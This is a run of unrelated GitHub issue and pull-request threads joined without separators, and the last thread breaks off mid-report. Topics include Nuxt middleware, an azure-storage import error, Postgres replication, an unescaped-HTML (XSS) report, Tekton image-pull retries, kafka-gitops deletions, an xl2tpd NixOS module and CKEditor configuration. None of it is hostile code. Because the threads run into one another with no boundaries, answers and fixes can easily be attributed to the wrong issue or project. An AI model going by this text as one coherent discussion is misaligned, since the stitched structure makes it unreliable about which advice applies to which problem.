I'm confused when you say "path /api/dashboard/user" ~ sounds like a client side page. Nitro middleware will only run on requests to  the nitro server: https://nuxt.com/docs/guide/directory-structure/server#server-middleware
Regardless, I think the discussion here demonstrates how to selectively run Nitro middleware for a subset of api routes (default is all routes) which was the original question. I believe we can close this issue if there is no further questions?

Thank you very much.. The issue was fixed from the beginning, but it was always the best way. Thank you again.


Push remoter onto G

Push remoter onto G. The reason being that in the near future I will want to get at it from a gregor handler that has no reason to hunt down a reference to a stellarsvc.Server.
Technically we could stop passing remoter around everywhere now and instead call GetRemoter(g) at the bottom of stacks. But I didn't make that change here.

This is getting confusing that there is G.GetStellar() but also stellar.Blah().

Is it? G.GetStellar() returns a handle for calling into stellar from libkb. Libkb (and teams) are particularly limited in what they can call in stellar because stellar depends on them.

Well, it's already happened that things have been added to stellar.Stellar, like GetServerDefinitions(), which are not needed by libkb.  So now in stellar service handlers there is g.GetStellar().GetServerDefinitions() followed by stellar.Whatever(...).

I'd be happy to remove GetServerDefinitions() from the libkb interface and add
func getHandle(g *libkb.GlobalContext) *Stellar {
	return g.GetStellar().(*Stellar)
}

I guess I don't understand why a stellar gregor handler wouldn't know everything it needs to know (i.e. be able to get to a remoter) and why we need to resort to globals.
For example:
package service
func newStellarGregorHandler(g *libkb.GlobalContext, r remote.Remoter) *stellarGregorHandler {}


[BUG Bash] When i import libary using python3.9 mac occured error

>>> from azure.storage.fileshare import (
...     generate_account_sas,
...     ResourceTypes,
...     AccountSasPermissions
... )
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/lib/python3.9/site-packages/azure/storage/fileshare/__init__.py", line 8, in <module>
    from ._file_client import ShareFileClient
  File "/usr/local/lib/python3.9/site-packages/azure/storage/fileshare/_file_client.py", line 30, in <module>
    from ._shared.base_client import StorageAccountHostsMixin, parse_connection_str, parse_query
  File "/usr/local/lib/python3.9/site-packages/azure/storage/fileshare/_shared/base_client.py", line 40, in <module>
    from .authentication import SharedKeyCredentialPolicy
  File "/usr/local/lib/python3.9/site-packages/azure/storage/fileshare/_shared/authentication.py", line 22, in <module>
    from azure.core.pipeline.transport import AioHttpTransport
  File "<frozen importlib._bootstrap>", line 1055, in _handle_fromlist
  File "/Users/i544731/Library/Python/3.9/lib/python/site-packages/azure/core/pipeline/transport/__init__.py", line 68, in __getattr__
    from ._aiohttp import AioHttpTransport
  File "/Users/i544731/Library/Python/3.9/lib/python/site-packages/azure/core/pipeline/transport/_aiohttp.py", line 35, in <module>
    import aiohttp
  File "/usr/local/lib/python3.9/site-packages/aiohttp/__init__.py", line 6, in <module>
    from .client import (
  File "/usr/local/lib/python3.9/site-packages/aiohttp/client.py", line 35, in <module>
    from . import hdrs, http, payload
  File "/usr/local/lib/python3.9/site-packages/aiohttp/http.py", line 7, in <module>
    from .http_parser import (
  File "/usr/local/lib/python3.9/site-packages/aiohttp/http_parser.py", line 15, in <module>
    from .helpers import NO_EXTENSIONS, BaseTimerContext
  File "/usr/local/lib/python3.9/site-packages/aiohttp/helpers.py", line 667, in <module>
    class CeilTimeout(async_timeout.timeout):
TypeError: function() argument 'code' must be code, not str

Label prediction was below confidence level 0.6 for Model:CategoryLabels: 'Client:0.5686399,Mgmt:0.42980742,Service:0.000963137'

Hi @JayChanggithub thanks for the feedback, we'll get back to you asap.

Hi @JayChanggithub Jay, one quick thing to try is to update your aiohttp. Can you please try updating aiohttp and seeing if the problem persists?
If so, can you please provide the following so that we may better assist you:

Code sample (please ensure to redact sensitive information)
What is the Package Version of azure.storage.fileshare you are using?

In general, here are some tips that may help you resolve the issue in the meantime:

Use the latest Package Version (when possible)
Check your read/write permissions to the container you are attempting to access
I see that you are importing generate_account_sas, so it may be a good idea to double check your permissions that your generated SAS token includes and that the token has not expired

Hopefully one of the above suggestions will help you resolve your issue, otherwise please provide a follow up comment with the additional information requested.
Thanks!

@vincenttran-msft  Thanks for your replying. Sure. I will try to update aiohttp. In addition my azure.storage.fileshare is azure-storage-file-share==12.9.0. Also i have admin permission access of storage account when i try to execute generate SAS token i use from storage account key to do.


Add environment values for replication support

This patch includes physical replication support.
If you want to create a standby node, set the PRIMARY_HOST and PRIMARY_PASSWORD environment variables.
version: '3.5'

services:
  primarynode:
    image: postgres
    environment:
      POSTGRES_PASSWORD: 12345

  standbynode:
    image: postgres
    depends_on:
      - primarynode
    restart: always
    environment:
      PRIMARY_HOST: primarynode
      PRIMARY_PASSWORD: 12345

I applaud the work and it could be a great starting point for users wanting the same thing. We strive to keep the image as simple as possible, so unfortunately cluster setup isn't something we want to maintain here right now.


Handling untrusted input (avoiding XSS)

I'm not sure if that would be a feature request or a question, perhaps I missed it. I can't find a straightforward way to handle untrusted input. For the default column data type, text, I'd expect any HTML code to be escaped, but that's not the case. Example:
https://jsfiddle.net/havkj6er/
As you can see, I used the bare minimum set of options. Even if there's a solution, I'd suggest to make it the default to escape HTML to make the usage less prone to XSS vulnerabilities.

Hi @m417z
Thanks for checking this out, Since I'm very busy lately I won't be able to handle this myself, so a PR will be welcomed


[release-v0.53.x] wait for a given duration in case of imagePullBackOff

Changes
We have implemented imagePullBackOff to fail fast. The issue with this approach is, this can be a transient error depending on the infrastructure. Often times the node where the pod is scheduled experiences registry rate limit. The image pull failure because of the rate limit returns the same warning (reason: Failed and message: ImagePullBackOff) compared to other authentication failure, missing image, etc. In case of a rate limit, the pod can potentially recover after waiting for enough time until the cap is expired. Kubernetes can then successfully pull the image and bring the pod up. But the fail fast approach results in a taskRun failure and hence pipelineRun results in a failure.
Introducing a default configuration to specify cluster level timeout to allow the imagePullBackOff to retry for a given duration. Once that duration has passed, controller returns a permanent failure.
https://github.com/tektoncd/pipeline/issues/5987
https://github.com/tektoncd/pipeline/issues/7184
This is a manual cheery-pick of https://github.com/tektoncd/pipeline/pull/7666
/kind feature
Submitter Checklist
As the author of this PR, please check off the items in this checklist:

[x] Has Docs if any changes are user facing, including updates to minimum requirements e.g. Kubernetes version bumps
[x] Has Tests included if any functionality added or changed
[x] pre-commit Passed
[x] Follows the commit message standard
[x] Meets the Tekton contributor standards (including functionality, content, code)
[x] Has a kind label. You can add one by adding a comment on this PR that contains /kind <type>. Valid types are bug, cleanup, design, documentation, feature, flake, misc, question, tep
[x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings). See some examples of good release notes.
[ ] Release notes contains the string "action required" if the change requires additional action from users switching to the new release

Release Notes
Configure default-imagepullbackoff-timeout to allow imagePullBackOff to retry and wait for the specified duration before failing the pipeline.

/retest

/approve

/meow


Add option to Keep the last position when the terminal was opened

Description of the new feature/enhancement
When the terminal is opened, usually it is started in a random position(it seems). An option is to add a config to keep the last position when the terminal was opened.

I think this is probably covered by issue #766. Note the last line of the description:

This also includes restoring things like previous window positions.

Sure does
/dup #766


How to use with shared environments?

Hi,
We're using Kafka as a shared cluster and as such, we have multiple projects with multiple teams working in parallel. We are planning on having 1 repo per project/system, with their own states and plans, but during our initial testing, we realised that one project is wiping the config of another project since we don't have an overall state file.
Is that the intended purpose?
Is there a way to prevent that?

It even deletes it's own user permissions (assuming we've applied this: https://devshawn.github.io/kafka-gitops/#/permissions?id=manually-add-acls)
`/gitops$ ./kafka-gitops apply
Executing apply...
Applying: [DELETE]

[ACL] Unnamed ACL
- resource_name: *
- resource_type: TOPIC
- resource_pattern: LITERAL
- resource_principal: User:gitops-user
- host: *
- operation: DELETE
- permission: ALLOW

Successfully applied.
....`

Hey,
The intended design of this project was to have a single state file per cluster, with all teams and projects contributing to it. This was to allow security & operations teams to review access control. The workflow in my organization goes like this:

There is one state file per environment in a single kafka-environments repository
Development teams each have a "section" in the state file where they make PRs to add their topics/services
Operations/security review, merge, and apply (for development/QA clusters, we relax who has merge permissions)

The intended design without configuration will delete anything not defined in the state file. For example, if you manually create the gitops user ACLs, you still need to define them if you don't want them deleted, like this.
If you'd like to stick to a state file per-team, you can run the plan/apply process with the --no-delete flag. This will stop one team's plan/apply from deleting other team's resources. However, you will not clean up any of your own deleted topics/services either. I think the only way to have multiple state files and run with delete would be to have them all merged together before being run, something we've been talking about in #19. A current workaround would be to build a single pipeline that grabs the latest state file from each team's repository and merges them with some external YAML merging tool.
Hope that helps!

Distributed configuration is a useful and scalable model. We have quite a few teams using Kafka. One of the main driving forces for adoption of Kafka is to have loosely coupled systems.
One way to decouple systems is to delegate ownership of configuration to individual groups. Say a topic is owned by the Logging publishing team. The topic would be created with additional metadata that other workers could then see that when fetching a topic, it is known to be owned by some group. The yaml managing that group would reconcile the topic, check who the owner is, and delete/update it as needed. This pattern would make for an excellent Kubernetes operator to manage topics. Something we are starting to look at internally.

@drewwells - definitely agree with you here. I especially like the idea of a kubernetes operator. In that scenario, how would you manage security?

Depends on how the yaml is stored. It could be in s3, then s3 ACL would manage access to yaml.
Our desired state would be K8s. For that example, we write an K8s Operator that is responsible for taking state from Custom Resources (CRs) and persisting that desired state to Kafka.
Users would not require access to create topics in Kafka. Users would have access to a Custom Resource (CR) with the configuration yaml in it. Access to CRs would be managed by K8s RBAC. Operator would be responsible for reconciling changes to the CRs and creating/updating/deleting Kafka topics. The users here do not need access or knowledge of how to update Kafka, they only need to understand how the CR is created.

I'm having a similar issue… and while a Correct Fix would be ideal, a pragmatic fix - at least for me - would be an option to ignore users, topics, ACLs, etc. Something like:
ignore:
  topics:
    - some_other_app.*
  users:
    - alex

We've resolved that by running with "no delete" flag. In our environment, deleting something should almost never happen anyway.


server side rendering

Me again ;) After including Imager.jsx successfully into my project i'm getting a bunch of Imager related errors whenever i try to render it on the server side. (ReferenceError: window is not defined)
Enabling the library just on the client isn't a big deal, but I don't now which image size should be rendered on the server without knowing anything about the connected client. Mobile first? What do you think?

We could add a dependency on the global npm module (or something similar/smaller) to be fully server side and client side.
If you do render things server side, it should be used only for the sake of React reconciliation.
Very interesting use case :-)
If you work out something today, please propose a merge request. I would be happy to review it and to merge it :-)


Add new intent: help

https://github.com/the-vision/jarvis-core/wiki

I would like to work on this issue

@VibavariG I have assigned this issue to you. Let me know if you need any help!

@TeAmP0is0N @swapagarwal  if the assigned person is not working on this, then I want to take up this issue.


[AutoPR security/resource-manager] chore: jsonfmt security

Created to sync https://github.com/Azure/azure-rest-api-specs/pull/6747

(message created by the CI based on PR content)

This PR has been merged into https://github.com/Azure/azure-sdk-for-python/pull/5709


Fix error when clicking on VMware VMs rss link

Purpose or Intent
Fix the broken VMWare VMs RSS link.
Links
https://bugzilla.redhat.com/show_bug.cgi?id=1357523

@miq-bot add_label ui, bug

@dclarizio, @h-kataria please review/test.

@h-kataria, good catch.  Nothing was turned up with a grep and it didn't make any tests fail.

looks good.

Darga backport details:
commit 6bebf372622ee60130475ee97ec66dd6ad735d5e
Author: Harpreet Kataria<EMAIL_ADDRESS>Date:   Tue Jul 19 15:46:33 2016 -0400

    Merge pull request #9912 from bmclaughlin/fix-vmware-vms-rss-link

    Fix error when clicking on VMware VMs rss link
    (cherry picked from commit 4b159b5f598f75e7b6e236eedc300651dfc4a7a9)


Microservices Architecture Cleanup

Renamed some of the headings for brevity and clarity
Renamed files to reflect heading names
Renamed reference names to reflect heading names

Comment: More cleanup will be needed, but that won't change content, just how/where it sits in the repository.

After looking at this, I am changing my mind on this. Stay tuned.

Let's just leave it at these minimal changes for now.


invitations:  remove spaces in email reformat

This fixes a bug where leading spaces are included in reformatted
emails in the input box. An edit to the regex in the str.split()
to remove spaces after commas solves this.
Fixes #7581.

Spaces in input:

Spaces are removed in reformat

Thanks @ryanle42! In the case where no emails were sent (which is the common case), I think we want to leave the input exactly as is.

Leaves input field the same on error

Great, thanks @ryanle42!
Steve, did some manual testing, but only cursorily looked at the sent_invitations code.

Merged! thanks @ryanle42 @rishig


Windowed Operator benchmark

@davidyan74 Please review

@davidyan74 Please review

@davidyan74 Could you please review and merge this PR when got time.

@davidyan74 Applied comments


Start of updates to opencv_contrib descriptions

Will go through them all.

Going to do the whole thing at once .... I hope


HTMLTextAreaElement missing placeholder attribute

The HTMLTextAreaElement class should have a placeholder attribute, just like the HTMLInputElement does.

I think this issue can be closed. The upstream externs have been updated to include this attribute a while ago so the next official release will include this attribute.
In the meantime you can use a more recent unofficial release. Notes on how to use it are in the post
https://groups.google.com/forum/#!topic/google-web-toolkit/Hofnjq983Ew


hey, i been just u can say doin copy paste of the code of buttons but its giving error. kindly chek it, and guide me, im fresh user,

The React Native website is hosted on a separate repository. You may let the
team know about any issues with the documentation by opening an issue there:

https://github.com/facebook/react-native-website
https://github.com/facebook/react-native-website/issues

Please do not open a documentation issue in the core React Native repository.

import React, { Component } from 'react';
import { Alert, AppRegistry, Button, StyleSheet, View } from 'react-native';
export default class ButtonBasics extends Component {
_onPressButton() {
Alert.alert('You tapped the button!')
}
render() {
return (

);
}
}
const styles = StyleSheet.create({
container: {
flex: 1,
justifyContent: 'center',
},
buttonContainer: {
margin: 20
},
alternativeLayoutButtonContainer: {
margin: 20,
flexDirection: 'row',
justifyContent: 'space-between'
}
});
// skip this line if using Create React Native App
AppRegistry.registerComponent('AwesomeProject', () => ButtonBasics);
its the given code on touches handling....


Updates from rspec-dev (2020-11-16)

These are some updates, generated from rspec-dev's rake tasks.

Is it possible to only run one build? Either for the branch (main, *-maintenance, *-dev) or for the PR?

Don't know, my standard knowledge says that you need pr so that, er pull requests are built, but you also need push so that branches pushed up by us run.

We might be able to limit push to main and maintenance branches?

This sometimes happens with Travis as well by the way, it's just we don't see it

This sometimes happens with Travis as well by the way, it's just we don't see it

We found a reason for that with Benoit, it's that removed branches setting for rspec-rails. Doesn't happen with other repos.

We found a reason for that with Benoit, it's that removed branches setting for rspec-rails. Doesn't happen with other repos.
That branches option was deliberately limiting builds on rspec-rails becauase of the load it causes.

That branches option was deliberately limiting builds on rspec-rails

branches option is not only in rspec-rails:
branches:
  only:
    - main
    - /^\d+-\d+-maintenance$/

Frankly, we have everywhere except rspec-rails, resulting in exactly the opposite effect :laughing:


How Shall we Store Lot/Batch Information for Compounds?

It has been noted that certain lots and batches of compounds may be contaminated, incorrectly labeled, or suffering from a number of issues. As a result, it would be useful to store precisely what lot/batch number a particular compound came from to assist in discovering such problems.
It would be perhaps a little unusual for us to store this data in the "compounds" table, as that is chiefly reserved for general information. Where, then, would we specify this?
This question is blocked because we must decide how to reorganize the database to better conform to the OECD.

Will lot and vendor be required for every setup?

It has been proposed that the interface simply entail typing the vendor and lot number alongside the compound in setups (please note that the compound interface itself will change soon).
It is possible to add suggestions for previously entered vendors and lots, but we would still run the risk of users potentially creating inaccurate or redundant entries (eg. "Sigma-Aldrich", "Sigma_Aldritch", "SA").
Are there any counter-proposals?

https://github.com/UPDDI/mps-database-server/commit/f84d2771a339edf495e2b082e6738728dcf478b0 should meet parameters described. Closing.


Cutout not working in VRChat

Good evening!
I switched from Liltoon 1.2.12 to 1.3.4 today.
Now, whenever I upload an Avatar to VRChat the "Cutout" Shader becomes Opaque again.
This only happens in the uploaded version.
When I test my avatar in VRChat, Cutout works.
It seems to be something about the optimization process that causes this issue. When I go to shader settings and activate "optimize in Test mode", the shader becomes opaque in Test Mode too.
Please look at the eyes in the editor and in VRChat:

What I tried:
Uninstalled Liltoon -> reinstalled
Installed Liltoon on a different PC
Tried it with another Avatar
Reset Material
Thank you very much for your support!

Thank you for your bug report. I have checked the following steps and the problem did not occur. I am continuing to investigate the issue and would appreciate any comments on how to reproduce the problem so I can get started on a fix as soon as possible.

Create a project for Avatar in VRChat Creator Companion (with VRCSDK 3.1.3)
Import lilToon 1.3.4
Create a Cube GameObject
Delete the Box Collider
Add Animator and VRC Avatar Descriptor
Create a new material
Set Rendering Mode to Cutout
Assign Default-Particle to main color texture
Enable Optimize in test build
Apply the created material to the cube
Save the scene
Run Build & Test from VRChat SDK control panel

Good evening! Thank you for your fast response! I looked into it and I might have found the issue.
In Blender, I tried it with a cube and a transparent texture on top of it -> Unity -> VRChat. Everything works great.
I looked into the Avatar and the Eye-Shining is the issue because the eye has 3 layers
EyeShining (Transparent) -> Eye (Transparent -> Eyeball (opaque).
(The whole model has only 1 Material)
It seems that when two transparent faces collide, the top of it becomes opaque.
In the following picture shows that a bit of the eye can be seen, but is overlapped by the EyeShining faces.
I hope this helps to find the issue. Thank you very much for looking into it.

This version may fix the problem. It includes fixes for bugs in some OS languages. (When converting properties as numbers, different characters were used for the decimal point, causing the shaders to not function properly.)
https://www.dropbox.com/s/y4uu96ikjgpnkos/lilToon_2022_0907_0207.unitypackage?dl=0

Thank you very much for taking your time and fixing the problem!!
It worked perfectly.
I'm very happy with Liltoon and you are a great creator!
I will close the Issue.


Man page

Add a man page with detailed description of every option from the wiki.
Btw: when I piped the --help output to less the search and scrolling were broken.

Unix man pages are not strongly recommended in Golang, but they can still provide valuable documentation. In addition to having a GitHub page and a man page, a package should also provide parseable documentation for pkgsite. This enables Go users to access it through https://pkg.go.dev/github.com/darkhz/invidtui.


xl2tpd: add up/down scripts for xl2tpd

Motivation for this change
xl2tpd: The lack of up/down scripts to update, e.g., resolv.conf, and autoStart option like it was done for openvpn module.
libredirect: pppd uses execve and redirecting execv is not enough.
Things done

[x] Tested using sandboxing
(nix.useChroot on NixOS,
or option build-use-chroot in nix.conf
on non-NixOS)
Built on platform(s)

[x] NixOS
[ ] OS X
[ ] Linux

[x] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[x] Tested execution of all binary files (usually in ./result/bin/)
[x] Fits CONTRIBUTING.md.

Agree with @edolstra re pkgs.writeScript. Also would I would not put it in /etc, would probably use another redirect instead?

In fact, maybe you can use environment.etc to set up the files?

@igsha, I'm a bit confused about the fact that you're putting commands that are typically client side on the server-side config? Could you elaborate on what you're trying to do?

@obadz, yes, you are right. I'm trying to add client side functionality to the module. May be I should separate server and client configs like it was done for openvpn module? BTW, redirects are needed only for pppd, and I can generate xl2tpd-config file with the help of pkgs.writeScript. I'm not sure about environment.etc because multiple instances will have intersecting configs/scripts, and this approach should be investigated.

@igsha, have you thought about using the networkmanager plugin?

@obadz, no, I've never used networkmanager before. I've tried networkmanager. It works for me now. But l2tp plugin cannot be configured from terminal that may be inconvenient in some situations. Anyway I'm please with your advice.
What about this PR? It still has a potential fix for pppd (libredirect). Also, I can move all configuration stuff to environment.etc.

@igsha, could you explain what your addition to libredirect is fixing? Did you get pppd errors without it and if so which errors?
Also why did you need to add the killall pppd? Did you find lingering pppd processes? I'm concerned that this could kill pppds that don't belong to xl2tp

@obadz, without libredirect fix, pppd starts ip-up/down scripts from wrong location (/etc/ppp instead of /etc/xl2tpd/ppp). If I don't use up/down scripts, pppd works fine.
killall pppd is a bad idea, I agree. But without it, I see that xl2tpd can't correctly stop pppd instances. Several reconnects lead to leaking of pppd instances. E.g., my xl2tpd session (tested xl2tpd as client side):
[root@isharonov-pc:~]# systemctl status xl2tpd.service
● xl2tpd.service - xl2tpd server
   Loaded: loaded (/nix/store/ns226jhkhcxi7bcgvks2i9xjzvwm8bzn-unit-xl2tpd.service/xl2tpd.service; bad; vendor preset: enabled)
   Active: active (running) since Wed 2016-07-27 16:25:08 MSK; 5s ago
  Process: 27607 ExecStartPre=/nix/store/q5kgx455njs3sb7x2ipiw9cb98s69g20-unit-script/bin/xl2tpd-pre-start (code=exited, status=0/SUCCESS)
 Main PID: 27620 (xl2tpd)
   CGroup: /system.slice/xl2tpd.service
           ├─27620 /nix/store/cv95khbphscrcnrdcdx8fxmrn3s1rhmh-xl2tpd-1.3.7/bin/xl2tpd -D -c /nix/store/4hs001z1k3w8nbkf2qhx2w5yjk42vl30-xl2tpd.conf -s /etc/xl2tpd/l2tp-secrets -p /run/xl2tpd/pid -C /run/xl2tpd/control
           └─27622 /nix/store/fygj25ghyzcs9kibgwj6xq0qm4kqza1h-ppp-2.4.7/sbin/pppd /dev/pts/1 passive nodetach : debug file /nix/store/7d5w161ih5sm2mqv50fxi4j5hv9grfiy-mega-mega-pppd.conf

Jul 27 16:25:08 isharonov-pc pppd[27622]: rcvd [CCP ConfNak id=0x2 <mppe +H -M -S +L -D -C>]
Jul 27 16:25:08 isharonov-pc pppd[27622]: sent [CCP ConfReq id=0x3]
Jul 27 16:25:08 isharonov-pc pppd[27622]: rcvd [IPCP ConfAck id=0x3 <addr <IP_ADDRESS>> <ms-dns1 <IP_ADDRESS>> <ms-dns2 <IP_ADDRESS>>]
Jul 27 16:25:08 isharonov-pc pppd[27622]: local  IP address <IP_ADDRESS>
Jul 27 16:25:08 isharonov-pc pppd[27622]: remote IP address <IP_ADDRESS>
Jul 27 16:25:08 isharonov-pc pppd[27622]: primary   DNS address <IP_ADDRESS>
Jul 27 16:25:08 isharonov-pc pppd[27622]: secondary DNS address <IP_ADDRESS>
Jul 27 16:25:08 isharonov-pc pppd[27622]: rcvd [CCP ConfNak id=0x3 <mppe +H -M -S -L -D -C>]
Jul 27 16:25:08 isharonov-pc pppd[27622]: sent [CCP ConfReq id=0x4]
Jul 27 16:25:08 isharonov-pc pppd[27622]: rcvd [CCP ConfAck id=0x4]

[root@isharonov-pc:~]# systemctl stop xl2tpd.service

[root@isharonov-pc:~]# systemctl status xl2tpd.service
● xl2tpd.service - xl2tpd server
   Loaded: loaded (/nix/store/ns226jhkhcxi7bcgvks2i9xjzvwm8bzn-unit-xl2tpd.service/xl2tpd.service; bad; vendor preset: enabled)
   Active: failed (Result: exit-code) since Wed 2016-07-27 16:25:26 MSK; 1s ago
  Process: 27620 ExecStart=/nix/store/hznym1lfyah7dc9finn76hc8c49xh99d-xl2tpd-ppp-wrapped/bin/xl2tpd -D -c /nix/store/4hs001z1k3w8nbkf2qhx2w5yjk42vl30-xl2tpd.conf -s /etc/xl2tpd/l2tp-secrets -p /run/xl2tpd/pid -C /run/xl2tpd/control (cod
  Process: 27607 ExecStartPre=/nix/store/q5kgx455njs3sb7x2ipiw9cb98s69g20-unit-script/bin/xl2tpd-pre-start (code=exited, status=0/SUCCESS)
 Main PID: 27620 (code=exited, status=1/FAILURE)
   CGroup: /system.slice/xl2tpd.service
           └─27622 /nix/store/fygj25ghyzcs9kibgwj6xq0qm4kqza1h-ppp-2.4.7/sbin/pppd /dev/pts/1 passive nodetach : debug file /nix/store/7d5w161ih5sm2mqv50fxi4j5hv9grfiy-mega-mega-pppd.conf

Jul 27 16:25:26 isharonov-pc pppd[27622]: Failed to open /dev/pts/1: No such file or directory
Jul 27 16:25:26 isharonov-pc pppd[27622]: Failed to open /dev/pts/1: No such file or directory
Jul 27 16:25:26 isharonov-pc pppd[27622]: Failed to open /dev/pts/1: No such file or directory
Jul 27 16:25:26 isharonov-pc pppd[27622]: Failed to open /dev/pts/1: No such file or directory
Jul 27 16:25:26 isharonov-pc pppd[27622]: Failed to open /dev/pts/1: No such file or directory
Jul 27 16:25:26 isharonov-pc pppd[27622]: Failed to open /dev/pts/1: No such file or directory
Jul 27 16:25:26 isharonov-pc pppd[27622]: Failed to open /dev/pts/1: No such file or directory
Jul 27 16:25:26 isharonov-pc pppd[27622]: Failed to open /dev/pts/1: No such file or directory
Jul 27 16:25:26 isharonov-pc pppd[27622]: Failed to open /dev/pts/1: No such file or directory
Jul 27 16:25:26 isharonov-pc pppd[27622]: Failed to open /dev/pts/1: No such file or directory

Are there any updates on this pull request, please?

Just close it very outdated PR because I don't have xl2tpd server any more and can't test.


ISPN-16233 Fix Netty buffer leaks

https://issues.redhat.com/browse/ISPN-16233
I've added code that fails the server testsuite if a leak is detected

Changes LGTM. Just waiting on CI.

Restarting CI, the previous run failed with:
[2024-07-17T08:32:54.240Z] [TestSuiteProgress] Test failed: org.infinispan.server.resp.persistent.ClusteredPersistentStringCommandTest.clearContent
[2024-07-17T08:32:54.241Z] Dumping threads of process 22772 to /home/infinispan/workspace/Infinispan_PR-12645/server/resp/threaddump-ClusteredPersistentStringCommandTest-20240717-0432-22772.log
[2024-07-17T08:32:54.241Z] Interrupted thread testng-ClusteredPersistentStringCommandTest (39).

It's green now

Green now

Thanks @tristantarrant


Should clang-omp be merged into the main llvm formula?

Yes, yet another thing for the llvm formula :p
According to the OpenMP/Clang github.io page, OpenMP support has been "promoted" to an official LLVM project.

I'd say we have to keep clang-omp until we've managed to update the core llvm formula to 3.7.x (see #47824 for a recently started effort). Once done, we can retire clang-omp and move it to the boneyard.

i want to see swift integrate openmp libs.

@gaming-hacker Add an OpenMP option to the Swift formula, or for Swift to support OpenMP in general?

@aw1621107  oh, got to be the pragmas, real tuning.   i've been hacking pragmas for years and can beat any automatic parallelizer.   a compiled python-ish language on steroids

@gaming-hacker Could you elaborate? I'm not quite understanding what you're getting at

Closing as there's currently nothing that can/needs to be done. Once our llvm formula is ready (read: updated) we can revisit what should happen with clang-omp.


span removed after save

Hi.
installed and selectable in editor.
I can instert via Style-Selector but after I save the page it is removed.
I have added the code to TypoScript.
lib.parseFunc_RTE.allowTags := addToList(wbr)
lib.parseFunc_RTE.nonTypoTagStdWrap.HTMLparser.tags.span.fixAttrib.class.removeIfEquals = shy
lib.parseFunc_RTE.nonTypoTagStdWrap.HTMLparser.rmTagIfNoAttrib = span
If I select a whole word the span is not removed.
Any suggestions?

Thanks for your feedback! I can confirm that there currently is a bug when using the Formatting Styles selector to add the span shy style.
The reason is that this style is added by the YAML config line
- { name: "span shy", element: "span", attributes: { 'class': 'shy' } }

which I needed to generally allow span elements with this class inside the RTE. But this line does also add this <span class"shy"></span> element to the selector.

If you use the selector on a word, it is wrapped inside this element (but removed in the frontend by TypoScript).
If you use the selector on the current cursor position, the element is added, but with no content (no  entity) – and empty elements get removed on save.

Adding it to the selector was actually a side effect. It was not intended to use the selector to add the  entity.
I will look into this issue. Either I'll try to remove the style from the selector and allow it through the plugin instead. Or maybe it is possible to insert the  entity through the selector.

Okay, the quick solution is as following.
First, delete the following (last) line:
editor:
  config:
    stylesSet:
      - { name: "span shy", element: "span", attributes: { 'class': 'shy' } }

This removes the span from the Formatting Styles selector. Now span elements are disallowed again.
Then add (or extend) this line:
editor:
  config:
    extraAllowedContent: "*(*)[data-*]; span(shy)"

This allows span elements with the class 'shy' (as well as data attributes, which already were part of the TYPO3 base config).
Please test this and give me a short feedback. I will adapt the documentation accordingly. In a later step I'll try to allow this directly through the plugin.

What do you mean with "which already were part of the TYPO3 base config"?
I haven't found something about it.
How could I insert a "shy" via the ckeditor now? In htmlarea times there was field under "scpecial chars"...
Or did I miss something?

I was referring to the TYPO3 default configuration of CKEditor.
There already exists the following configuration:
editor:
  config:
    extraAllowedContent: "*(*)[data-*]"

So, if you want to keep using data attributes in the RTE, you'll have to extend the line as shown above. Otherwise, just use the value "span(shy)".
To use the  entity and/or the <wbr> tag, you can add buttons to the RTE toolbar.
You can find the necessary configuration in the README.md (toolbarGroups or toolbar, whichever you use to adapt your custom toolbar).

Ok. I see. Thanks.
I don't get the buttons via
toolbar:

[ 'ShyEntity', 'WbrTag' ]
or
toolbarGroups:
{ name: linebreak }

I propably hava a configuration problem. somewhere else.
But the correct yaml file is used (verified by changing style names) ... strange.
But thank you anyway!

If the buttons don't get displayed in the toolbar, please check if you correctly added the linebreak plugin to externalPlugins as well as extraPlugins. Maybe it's just an indentation issue.
As the original bug is patched, I'm closing this now.


libopencv_imgcodecs: undefined reference to `LIBTIFF_4.0'

🐛 Bug
After building TorchVision, I've tried to run the C++ example and I get the following error:
/usr/bin/ld: /usr/local/lib/libopencv_imgcodecs.so.4.4: undefined reference to<EMAIL_ADDRESS>/usr/bin/ld: /usr/local/lib/libopencv_imgcodecs.so.4.4: undefined reference to<EMAIL_ADDRESS>/usr/bin/ld: /usr/local/lib/libopencv_imgcodecs.so.4.4: undefined reference to<EMAIL_ADDRESS>/usr/bin/ld: /usr/local/lib/libopencv_imgcodecs.so.4.4: undefined reference to<EMAIL_ADDRESS>/usr/bin/ld: /usr/local/lib/libopencv_imgcodecs.so.4.4: undefined reference to<EMAIL_ADDRESS>/usr/bin/ld: /usr/local/lib/libopencv_imgcodecs.so.4.4: undefined reference to<EMAIL_ADDRESS>/usr/bin/ld: /usr/local/lib/libopencv_imgcodecs.so.4.4: undefined reference to<EMAIL_ADDRESS>/usr/bin/ld: /usr/local/lib/libopencv_imgcodecs.so.4.4: undefined reference to<EMAIL_ADDRESS>/usr/bin/ld: /usr/local/lib/libopencv_imgcodecs.so.4.4: undefined reference to<EMAIL_ADDRESS>/usr/bin/ld: /usr/local/lib/libopencv_imgcodecs.so.4.4: undefined reference to<EMAIL_ADDRESS>/usr/bin/ld: /usr/local/lib/libopencv_imgcodecs.so.4.4: undefined reference to<EMAIL_ADDRESS>/usr/bin/ld: /usr/local/lib/libopencv_imgcodecs.so.4.4: undefined reference to<EMAIL_ADDRESS>/usr/bin/ld: /usr/local/lib/libopencv_imgcodecs.so.4.4: undefined reference to<EMAIL_ADDRESS>/usr/bin/ld: /usr/local/lib/libopencv_imgcodecs.so.4.4: undefined reference to<EMAIL_ADDRESS>/usr/bin/ld: /usr/local/lib/libopencv_imgcodecs.so.4.4: undefined reference to<EMAIL_ADDRESS>/usr/bin/ld: /usr/local/lib/libopencv_imgcodecs.so.4.4: undefined reference to<EMAIL_ADDRESS>/usr/bin/ld: /usr/local/lib/libopencv_imgcodecs.so.4.4: undefined reference to<EMAIL_ADDRESS>/usr/bin/ld: /usr/local/lib/libopencv_imgcodecs.so.4.4: undefined reference to<EMAIL_ADDRESS>collect2: error: ld returned 1 exit status
make[2]: *** [CMakeFiles/model.dir/build.make:99: model] Error 1
make[1]: *** [CMakeFiles/Makefile2:76: CMakeFiles/model.dir/all] Error 2
make: *** [Makefile:84: all] Error 2

To Reproduce
Steps to reproduce the behavior:

cmake -DCMAKE_PREFIX_PATH="${HOME}/pytorch/torch;${HOME}/vision/torchvision" ..
cmake --build .

In CMakeLitsts.txt I have:
